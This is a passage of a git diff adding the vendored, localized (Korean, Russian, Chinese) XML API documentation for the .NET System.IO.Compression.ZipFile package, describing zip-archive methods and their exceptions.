해석됩니다. + 열린 보관 파일의 엔트리에서 사용되는 동작을 지정하는 열거형 값 중 하나입니다. + 이 보관 파일에서 이름을 읽거나 쓰는 동안 사용할 인코딩입니다.인코딩이 항목 이름에 대해 UTF-8 인코딩을 지원하지 않는 Zip 보관 도구와 라이브러리를 사용하여 상호 운용성에 인코딩이 필요할 때만 이 매개 변수에 대한 값을 지정합니다. + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 지정된 경로에서 읽기 위해 Zip 보관 파일을 엽니다. + 열린 Zip 보관 파일입니다. + 열 보관 파일의 경로(상대 또는 절대 경로로 지정)입니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + + 클래스에 대한 확장 메서드를 제공합니다. + + + 파일을 압축하고 ZIP 보관 위치에 추가하여 보관합니다. + ZIP 보관 위치에 있는 새 항목에 대한 래퍼입니다. + 파일을 추가할 zip 보관 위치입니다. + 보관할 파일의 경로입니다.상대 또는 절대 경로를 지정할 수 있습니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + zip 보관 위치에 만들 항목의 이름입니다. + + 이거나, 공백만 포함하거나 또는 잘못된 문자를 하나 이상 포함하는 경우또는입니다. + + 또는 가 null인 경우 + + 에서 지정된 경로, 파일 이름 또는 둘 다가 시스템에 정의된 최대 길이를 초과하는 경우예를 들어, Windows 기반 플랫폼에서는 경로에 248자 미만의 문자를 사용해야 하며 파일 이름에는 260자 미만의 문자를 사용해야 합니다. + + 가 잘못된 경우(예: 매핑되지 않은 드라이브의 경로를 지정한 경우) + + 으로 지정된 파일을 열 수 없는 경우 + + 은 디렉터리를 지정합니다.또는에서 지정한 파일에 액세스하는 데 필요한 권한이 호출자에게 없는 경우 + + 에서 지정한 파일을 찾을 수 없는 경우 + + 매개 변수가 잘못된 형식인 경우또는zip 보관 위치가 쓰기를 지원하지 않는 경우 + zip 보관 위치가 삭제되었습니다. + + + 지정된 압축 수준을 사용하여 압축하고 zip 보관 저장소에 추가하여 파일을 보관합니다. + ZIP 보관 위치에 있는 새 항목에 대한 래퍼입니다. + 파일을 추가할 zip 보관 위치입니다. + 보관할 파일의 경로입니다.상대 또는 절대 경로를 지정할 수 있습니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + zip 보관 위치에 만들 항목의 이름입니다. + 항목을 만들 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 이거나, 공백만 포함하거나 또는 잘못된 문자를 하나 이상 포함하는 경우또는입니다. + + 또는 가 null인 경우 + + 가 잘못된 경우(예: 매핑되지 않은 드라이브의 경로를 지정한 경우) + + 에서 지정된 경로, 파일 이름 또는 둘 다가 시스템에 정의된 최대 길이를 초과하는 경우예를 들어, Windows 기반 플랫폼에서는 경로에 248자 미만의 문자를 사용해야 하며 파일 이름에는 260자 미만의 문자를 사용해야 합니다. + + 으로 지정된 파일을 열 수 없는 경우 + + 은 디렉터리를 지정합니다.또는에서 지정한 파일에 액세스하는 데 필요한 권한이 호출자에게 없는 경우 + + 에서 지정한 파일을 찾을 수 없는 경우 + + 매개 변수가 잘못된 형식인 경우또는zip 보관 위치가 쓰기를 지원하지 않는 경우 + zip 보관 위치가 삭제되었습니다. + + + ZIP 보관 파일의 모든 파일을 파일 시스템의 디렉터리에 추출합니다. + 파일의 압축을 풀 zip 보관 위치입니다. + 추출된 파일을 넣을 디렉터리의 경로입니다.상대 또는 절대 경로를 지정할 수 있습니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + + 이거나, 공백만 포함하거나 또는 잘못된 문자를 하나 이상 포함하는 경우 + + 가 null입니다. + 지정된 경로가 시스템 정의 최대 길이를 초과합니다.예를 들어, Windows 기반 플랫폼에서는 경로에 248자 미만의 문자를 사용해야 하며 파일 이름에는 260자 미만의 문자를 사용해야 합니다. + 지정된 경로가 잘못된 경우(예: 매핑되지 않은 드라이브의 경로를 지정한 경우) + + 에서 지정한 디렉터리가 이미 있는 경우또는보관 파일에 있는 항목의 이름이 상태이며, 이 이름에 공백만 있거나 잘못된 문자가 하나 이상 포함되어 있습니다.또는보관 저장소에서 항목을 추출하면 으로 지정된 디렉터리 외부에 파일이 만들어집니다. (예를 들어 항목 이름에 부모 디렉터리 접근자가 포함된 경우 발생할 수 있습니다.) 또는보관 저장소에 있는 둘 이상의 항목이 같은 이름을 갖고 있습니다. + 호출자에게 대상 디렉터리에 쓸 수 있는 권한이 없는 경우 + + 에 잘못된 형식이 포함되어 있는 경우 + 보관 항목 찾을 수 없거나 손상되었습니다.또는보관 항목이 지원되지 않는 압축 방법으로 압축되었습니다. + + + ZIP 보관 파일의 항목을 파일에 추출합니다. + 파일의 압축을 풀 zip 보관 위치 항목입니다. + 항목의 내용에서 만들 파일의 경로입니다.상대 또는 절대 경로를 지정할 수 있습니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + + 가 길이가 0인 문자열이거나, 공백만 포함하거나, 로 정의된 하나 이상의 잘못된 문자를 포함하는 경우또는은 디렉터리를 지정합니다. + + 가 null입니다. + 지정된 경로 또는 파일 이름이 시스템에 정의된 최대 길이를 초과하는 경우.예를 들어, Windows 기반 플랫폼에서는 경로에 248자 미만의 문자를 사용해야 하며 파일 이름에는 260자 미만의 문자를 사용해야 합니다. + 지정된 경로가 잘못된 경우(예: 매핑되지 않은 드라이브의 경로를 지정한 경우) + + 이(가) 이미 있습니다.또는 I/O 오류가 발생하는 경우또는엔트리가 현재 쓰기용으로 열려 있습니다.또는엔트리가 보관 저장소에서 삭제되었습니다. + 새 파일을 만드는 데 필요한 권한이 호출자에게 없는 경우 + 항목이 보관 위치에 없거나 손상되어 열 수 없습니다.또는항목이 지원되지 않는 압축 방법으로 압축되었습니다. + 이 항목이 속하는 zip 보관 위치가 삭제되었습니다. + + 의 형식이 잘못된 경우 또는이 항목에 대한 zip 압축 파일이 항목을 검색할 수 없는 모드로 열렸습니다. + + + zip 보관 저장소의 항목을 파일에 추출하고 이름이 같은 기존 파일을 선택적으로 덮어씁니다. + 파일의 압축을 풀 zip 보관 위치 항목입니다. + 항목의 내용에서 만들 파일의 경로입니다.상대 또는 절대 경로를 지정할 수 있습니다.상대 경로는 현재 작업 디렉터리에 상대적으로 해석됩니다. + 대상 파일과 이름이 같은 기존 파일을 덮어쓰려면 true이고, 그렇지 않으면 false입니다. + + 가 길이가 0인 문자열이거나, 공백만 포함하거나, 로 정의된 하나 이상의 잘못된 문자를 포함하는 경우또는은 디렉터리를 지정합니다. + + 가 null입니다. + 지정된 경로 또는 파일 이름이 시스템에 정의된 최대 길이를 초과하는 경우.예를 들어, Windows 기반 플랫폼에서는 경로에 248자 미만의 문자를 사용해야 하며 파일 이름에는 260자 미만의 문자를 사용해야 합니다. + 지정된 경로가 잘못된 경우(예: 매핑되지 않은 드라이브의 경로를 지정한 경우) + + 이 이미 있고 가 false인 경우또는 I/O 오류가 발생하는 경우또는엔트리가 현재 쓰기용으로 열려 있습니다.또는엔트리가 보관 저장소에서 삭제되었습니다. + 새 파일을 만드는 데 필요한 권한이 호출자에게 없는 경우 + 항목이 보관 위치에 없거나 손상되어 열 수 없습니다.또는항목이 지원되지 않는 압축 방법으로 압축되었습니다. + 이 항목이 속하는 zip 보관 위치가 삭제되었습니다. + + 의 형식이 잘못된 경우 또는이 항목에 대한 zip 압축 파일이 항목을 검색할 수 없는 모드로 열렸습니다. + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ru/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ru/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..1b600e0 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/ru/System.IO.Compression.ZipFile.xml @@ -0,0 +1,264 @@ + + + + System.IO.Compression.ZipFile + + + + Предоставляет статические методы для создания, извлечения и открытия ZIP-архивов. + + + Создает ZIP архив, содержащий файлы и каталоги из указанного каталога. + Путь к архивируемому каталогу, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Путь создаваемого архива, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Создает ZIP-архив, содержащий файлы и каталоги из указанного каталога, использует указанный уровень сжатия и необязательно включает базовый каталог. + Путь к архивируемому каталогу, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Путь создаваемого архива, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Одно из значений перечисления, указывающее, акцентировать ли внимание на скорости или эффективности сжатия при создании записи. + Значение true, чтобы включить имя каталога из параметра в корень архива; значение false, чтобы включать только содержимое этого каталога. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Создает ZIP-архив, содержащий файлы и каталоги из указанного каталога, использует указанный уровень сжатия и кодировку символов для имен записей и необязательно включает базовый каталог. + Путь к архивируемому каталогу, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Путь создаваемого архива, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Одно из значений перечисления, указывающее, акцентировать ли внимание на скорости или эффективности сжатия при создании записи. + Значение true, чтобы включить имя каталога из параметра в корень архива; false — для включения только содержимого этого каталога. + Кодирование, используемое при чтении или записи имен записей в этом архиве.Задайте значение для этого параметра, только если кодирование требуется для взаимодействия с инструментами и библиотеками ZIP-архива, которые не поддерживают кодирование UTF-8 для имен записей. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + Извлекает все файлы в указанном ZIP-архиве в каталогу в файловой системе. + Путь к архиву, который требуется извлечь. + Путь к каталогу, в котором следует поместить извлеченные файлы, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Извлекает все файлы в указанном ZIP-архиве к каталог в файловой системе и использует указанную кодировку для имен записей. + Путь к архиву, который требуется извлечь. + Путь к каталогу, в котором следует поместить извлеченные файлы, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Кодирование, используемое при чтении или записи имен записей в этом архиве.Задайте значение для этого параметра, только если кодирование требуется для взаимодействия с инструментами и библиотеками ZIP-архива, которые не поддерживают кодирование UTF-8 для имен записей. + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + Открывает ZIP-архив по указанному пути и в заданном режиме. + Открытый ZIP-архив. + Путь к открываемому архиву, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Одно из значений перечисления, указывающее действия, которые разрешены над записями в открытом архиве. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Открывает ZIP-архив по указанному пути в указанном режиме и с использованием указанной кодировки символов для имен записей. + Открытый ZIP-архив. + Путь к открываемому архиву, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Одно из значений перечисления, указывающее действия, которые разрешены над записями в открытом архиве. + Кодирование, используемое при чтении или записи имен записей в этом архиве.Задайте значение для этого параметра, только если кодирование требуется для взаимодействия с инструментами и библиотеками ZIP-архива, которые не поддерживают кодирование UTF-8 для имен записей. + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + Открывает для чтения ZIP-архив по указанному пути. + Открытый ZIP-архив. + Путь к открываемому архиву, заданный как относительный или абсолютный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + Предоставляет методы расширения для классов и . + + + Архивирует файл, сжимая его и добавляя его в ZIP-архив. + Программа-оболочка для новой записи в ZIP-архиве. + ZIP-архив, в который добавляется файл. + Путь к файлу, который необходимо заархивировать.Можно задавать абсолютный или относительный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Имя записи, которую требуется создать в ZIP-архиве. + Параметр является , содержит только пробелы или хотя бы один недопустимый символ.-или-Параметр имеет значение . + Значение параметра или — null. + В длина указанного пути, имени файла или обоих параметров превышает установленное в системе максимальное значение.Например, для платформ на основе Windows длина пути не должна превышать 248 символов, а имена файлов не должны содержать более 260 символов. + Параметр недопустим (например, он соответствует неподключенному диску). + Не удается открыть файл, заданный параметром . + Параметр указывает каталог.-или-У вызывающего оператора отсутствует разрешение на доступ к файлу, указанному параметром . + Файл, заданный параметром , не найден. + Параметр имеет недопустимый формат.-или-ZIP-архив не поддерживает запись. + ZIP-архив был удален. + + + Архивирует файл, сжимая его с использованием заданного уровня сжатия и добавляя его в ZIP-архив. + Программа-оболочка для новой записи в ZIP-архиве. + ZIP-архив, в который добавляется файл. + Путь к файлу, который необходимо заархивировать.Можно задавать абсолютный или относительный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Имя записи, которую требуется создать в ZIP-архиве. + Одно из значений перечисления, указывающее, акцентировать ли внимание на скорости или эффективности сжатия при создании записи. + Параметр является , содержит только пробелы или хотя бы один недопустимый символ.-или-Параметр имеет значение . + Значение параметра или — null. + Параметр недопустим (например, он соответствует неподключенному диску). + В длина указанного пути, имени файла или обоих параметров превышает установленное в системе максимальное значение.Например, для платформ на основе Windows длина пути не должна превышать 248 символов, а имена файлов не должны содержать более 260 символов. + Не удается открыть файл, заданный параметром . + Параметр указывает каталог.-или-У вызывающего оператора отсутствует разрешение на доступ к файлу, указанному параметром . + Файл, заданный параметром , не найден. + Параметр имеет недопустимый формат.-или-ZIP-архив не поддерживает запись. + ZIP-архив был удален. + + + Извлекает все файлы в ZIP-архиве в каталогу в файловой системе. + ZIP-архив, из которого требуется извлечь файлы. + Путь к каталогу, в который требуется поместить извлеченные файлы.Можно задавать абсолютный или относительный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Параметр является , содержит только пробелы или хотя бы один недопустимый символ. + Параметр имеет значение null. + Указанная длина пути превышает максимальную длину, определенную в системе.Например, для платформ на основе Windows длина пути не должна превышать 248 символов, а имена файлов не должны содержать более 260 символов. + Указанный путь недопустим (например, он соответствует неподключенному диску). + Каталог, заданный параметром , уже существует.-или-Имя записи в архиве имеет значение , содержит только пробелы или содержит по крайней мере один недопустимый символ.-или-Извлечение записи из архива создаст файл, который находится вне каталога, заданного . (Например, это может произойти, если имя записи содержит методы доступа родительского каталога.) -или-Две или более записей в архиве имеют одинаковые имена. + Вызывающий код не имеет необходимого разрешения на запись в целевом каталоге. + + содержит недопустимый формат. + Не удалось найти запись архива или она повреждена.-или-Запись архива была сжата с помощью неподдерживаемого метода сжатия. + + + Извлекает запись в ZIP-архиве в файлу. + Запись ZIP-архива, из которой требуется извлечь файл. + Путь к файлу, создаваемому из содержимого записи.Можно задавать абсолютный или относительный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + + представляет собой строку нулевой длины, содержащую только пробелы или один или несколько недопустимых символов, как указано .-или-Параметр указывает каталог. + Параметр имеет значение null. + Длина указанного пути, имени файла или обоих параметров превышает установленное в системе максимальное значение.Например, для платформ на основе Windows длина пути не должна превышать 248 символов, а имена файлов не должны содержать более 260 символов. + Указанный путь недопустим (например, он соответствует неподключенному диску). + + уже существует.-или- Произошла ошибка ввода-вывода.-или-Сущность открыта для записи в данный момент.-или-Сущность была удалена из архива. + У вызывающего оператора отсутствует разрешение на создание нового файла. + Запись отсутствует в архиве или повреждена и не может быть прочитана.-или-Запись сжата с помощью неподдерживаемого метода сжатия. + ZIP-архив, которому принадлежит запись, был удален. + + имеет недопустимый формат. -или-ZIP-архив для данной записи был открыт в режиме , который не допускает извлечение записей. + + + Извлекает запись в ZIP-архиве в файлу и при необходимости перезаписывает существующий файл с тем же именем. + Запись ZIP-архива, из которой требуется извлечь файл. + Путь к файлу, создаваемому из содержимого записи.Можно задавать абсолютный или относительный путь.Относительный путь интерпретируется относительно текущего рабочего каталога. + Значение true, чтобы перезаписать существующий файл с таким же именем, что и конечный файл; в противном случае — значение false. + + представляет собой строку нулевой длины, содержащую только пробелы или один или несколько недопустимых символов, как указано .-или-Параметр указывает каталог. + Параметр имеет значение null. + Длина указанного пути, имени файла или обоих параметров превышает установленное в системе максимальное значение.Например, для платформ на основе Windows длина пути не должна превышать 248 символов, а имена файлов не должны содержать более 260 символов. + Указанный путь недопустим (например, он соответствует неподключенному диску). + + уже существует, и имеет значение false.-или- Произошла ошибка ввода-вывода.-или-Сущность открыта для записи в данный момент.-или-Сущность была удалена из архива. + У вызывающего оператора отсутствует разрешение на создание нового файла. + Запись отсутствует в архиве или повреждена и не может быть прочитана.-или-Запись сжата с помощью неподдерживаемого метода сжатия. + ZIP-архив, которому принадлежит запись, был удален. + + имеет недопустимый формат. -или-ZIP-архив для данной записи был открыт в режиме , который не допускает извлечение записей. + + + \ No newline at end of file diff --git a/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/zh-hans/System.IO.Compression.ZipFile.xml b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/zh-hans/System.IO.Compression.ZipFile.xml new file mode 100644 index 0000000..1913909 --- /dev/null +++ b/BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/ref/netstandard1.3/zh-hans/System.IO.Compression.ZipFile.xml @@ -0,0 +1,279 @@ + + + + System.IO.Compression.ZipFile + + + + 提供创建、解压缩和打开 zip 存档的静态方法。 + + + 创建 zip 存档,该存档包含指定目录的文件和目录。 + 要存档的目录的路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + 要生成的存档路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 创建 zip 存档,该存档包括指定目录的文件和目录,使用指定压缩级别,以及可以选择包含基目录。 + 要存档的目录的路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + 要生成的存档路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + 指示创建项时是否强调速度或压缩有效性的枚举值之一。 + 包括从在存档的根的 的目录名称,则为 true;仅包含目录中的内容,则为 false。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 创建 zip 存档,该存档包括文件和指定目录的目录,使用指定压缩级别和条目名称的字符编码,以及可以选择包含基目录。 + 要存档的目录的路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + 要生成的存档路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + 指示创建项时是否强调速度或压缩有效性的枚举值之一。 + 包括从在存档的根的 的目录名称,则为 true;仅包含目录中的内容,则为 false。 + 在存档中读取或写入项名时使用的编码。仅当需要针对具有不支持项名的 UTF-8 编码的 zip 归档工具和库的互操作性进行编码时,为此参数指定一个值。 + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + In or , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + already exists.-or-A file in the specified directory could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the directory specified in or the file specified in . + + or contains an invalid format.-or-The zip archive does not support writing. + + + 将指定 zip 存档中的所有文件都解压缩到文件系统的一个目录下。 + 要解压缩存档的路径。 + 放置解压缩文件的目录的路径,指定为相对或绝对路径。相对路径是指相对于当前工作目录的路径。 + + or is , contains only white space, or contains at least one invalid character. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 将指定 zip 存档中的所有文件解压缩到文件系统的一目录下,并使用项名称的指定字符编码。 + 要解压缩存档的路径。 + 放置解压缩文件的目录的路径,指定为相对或绝对路径。相对路径是指相对于当前工作目录的路径。 + 在存档中读取或写入项名时使用的编码。仅当需要针对具有不支持项名的 UTF-8 编码的 zip 归档工具和库的互操作性进行编码时,为此参数指定一个值。 + + or is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + or is null. + The specified path in or exceeds the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + The specified path is invalid (for example, it is on an unmapped drive). + The directory specified by already exists.-or-The name of an entry in the archive is , contains only white space, or contains at least one invalid character.-or-Extracting an archive entry would create a file that is outside the directory specified by .(For example, this might happen if the entry name contains parent directory accessors.)-or-An archive entry to extract has the same name as an entry that has already been extracted from the same archive. + The caller does not have the required permission to access the archive or the destination directory. + + or contains an invalid format. + + was not found. + The archive specified by is not a valid zip archive.-or-An archive entry was not found or was corrupt.-or-An archive entry was compressed by using a compression method that is not supported. + + + 以指定的模式打开指定路径上的 zip 存档。 + 打开的 zip 存档。 + 要打开的存档的路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + 指定允许对打开的存档中的项进行的操作的枚举值之一。 + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 在指定模式下,在指定路径中,使用项名称的指定字符编码打开 zip 存档。 + 打开的 zip 存档。 + 要打开的存档的路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + 指定允许对打开的存档中的项进行的操作的枚举值之一。 + 在存档中读取或写入项名时使用的编码。仅当需要针对具有不支持项名的 UTF-8 编码的 zip 归档工具和库的互操作性进行编码时,为此参数指定一个值。 + + is , contains only white space, or contains at least one invalid character.-or- is set to a Unicode encoding other than UTF-8. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened.-or- is set to , but the file specified in already exists. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + + specifies an invalid value. + + is set to , but the file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive.-or- is , but an entry is missing or corrupt and cannot be read.-or- is , but an entry is too large to fit into memory. + + + 打开在指定路径用于读取的 zip 存档。 + 打开的 zip 存档。 + 要打开的存档的路径,指定为相对路径或绝对路径。相对路径是指相对于当前工作目录的路径。 + + is , contains only white space, or contains at least one invalid character. + + is null. + In , the specified path, file name, or both exceed the system-defined maximum length.For example, on Windows-based platforms, paths must not exceed 248 characters, and file names must not exceed 260 characters. + + is invalid or does not exist (for example, it is on an unmapped drive). + + could not be opened. + + specifies a directory.-or-The caller does not have the required permission to access the file specified in . + The file specified in is not found. + + contains an invalid format. + + could not be interpreted as a zip archive. + + + 类提供扩展方法。 + + + 通过压缩并将其添加到邮编存档的存档文件。 + zip 存档中新项的包装。 + 要添加该文件的 zip 存档。 + 待存档的文件的路径。可以指定相对或绝对路径。相对路径被解释为相对于当前工作目录。 + 要在 zip 存档中生成的输入的名称。 + + ,仅包含空白,或包含至少一个无效字符。- 或 - + + 为 null。 + 内,指定的路径、文件名或者两者都超出了系统定义的最大长度。例如,在基于 Windows 的平台上,路径不得超过 248 个字符,文件名不得超过 260 个字符。 + + 无效(例如,在未映射的驱动器上)。 + 无法打开由 指定的文件。 + + 指定目录。- 或 -调用方没有访问 指定的文件的权限。 + 未找到 指定的文件。 + + 参数的格式无效。- 或 -zip 归档不支持写入。 + zip 存档已释放。 + + + 通过使用指定压缩级别压缩并将其添加到邮编存档的存档文件。 + zip 存档中新项的包装。 + 要添加该文件的 zip 存档。 + 